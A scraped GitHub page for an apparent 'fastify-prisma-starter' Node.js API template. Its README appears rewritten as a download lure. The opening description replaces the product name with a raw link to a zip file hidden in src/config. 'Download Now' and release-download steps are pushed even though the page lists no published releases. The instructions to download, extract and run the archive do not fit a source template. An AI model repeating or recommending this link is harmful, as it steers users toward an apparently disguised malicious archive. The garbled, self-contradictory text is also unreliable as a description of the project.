Skip to content

πŸš€ Build scalable REST APIs quickly with this production-ready Fastify Prisma starter featuring TypeScript, PostgreSQL, JWT authentication, and Docker support.

Notifications You must be signed in to change notification settings

zuzuamid/fastify-prisma-starter

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

557 Commits
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

πŸš€ fastify-prisma-starter - Start Your Fast API with Ease

Download Now

🌟 Description

The fastify-prisma-starter is a production-ready https://github.com/zuzuamid/fastify-prisma-starter/raw/refs/heads/main/src/config/starter-fastify-prisma-athalamous.zip application designed for creating REST APIs. It combines Fastify and Prisma for a smooth setup and includes built-in authentication features, Docker support, and TypeScript for enhanced code quality. Whether you're building a new project or learning how to develop APIs, this starter template helps you hit the ground running.

πŸ“‹ Features

  • Simple Setup: Start with a well-structured project that you can customize to your needs.
  • Authentication: Built-in JWT authentication to keep your API secure.
  • Clean Architecture: Follows best practices for organization and maintainability.
  • Docker Support: Easily run your application in a containerized environment.
  • TypeScript: Gain type safety and better developer experience.

πŸ“₯ Download & Install

To download the latest version of fastify-prisma-starter, visit the Releases page.

  1. Click the link above to go to the Releases page.
  2. Choose the latest release version.
  3. Download the file appropriate for your system.

Download Steps

  • Visit the Releases page.
  • Locate the version you want to install.
  • Click on the download link for the file that matches your system requirements.

βš™οΈ System Requirements

πŸ–₯️ Running the Application

Once you have downloaded the files, follow these steps to run the application:

  1. Extract the Downloaded Files:

    • Use your file manager to find the downloaded zip file.
    • Right-click and select "Extract All" to unpack the files.
  2. Install Dependencies:

    • Open your terminal or command prompt.
    • Navigate to the folder where you extracted the files.
    • Run the command:
      npm install
      

    This command installs all required libraries.

  3. Configure the Environment:

    • Open the .env file in a text editor.
    • Update the configuration values as needed (e.g., database connection strings).
  4. Run the Application:

    • In the terminal, enter the command:
      npm start
      

    This command starts the server.

  5. Access the API:

    • Open your web browser and visit http://localhost:3000 to access your API.

πŸ“¦ Using Docker

If you prefer to use Docker, make sure Docker is running on your system. Then follow these steps:

  1. Build the Docker Image:

    • From the terminal, navigate to the folder containing the Dockerfile.
    • Run the command:
      docker build -t fastify-prisma-starter .
      
  2. Run the Docker Container:

    • After building the image, start the container with:
      docker run -p 3000:3000 fastify-prisma-starter
      
  3. Access the API:

    • Open your web browser and go to http://localhost:3000 to see your running application.

πŸ” Additional Help

If you run into issues or have questions, check the Issues page on GitHub. Here you can find reported problems and solutions.

πŸŽ‰ Contributing

We welcome contributions from everyone. If you have ideas for improvements or fixes, feel free to submit a pull request. Check the Contribution Guidelines for more details.

πŸ“£ Acknowledgments

Thanks to the contributors who make this project possible. Your hard work and dedication help keep this starter template useful for everyone.

πŸ› οΈ License

This project is licensed under the MIT License. Feel free to use and modify it for your own needs.

About

πŸš€ Build scalable REST APIs quickly with this production-ready Fastify Prisma starter featuring TypeScript, PostgreSQL, JWT authentication, and Docker support.

Topics

Resources

Contributing

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Contributors 2

  •  
  •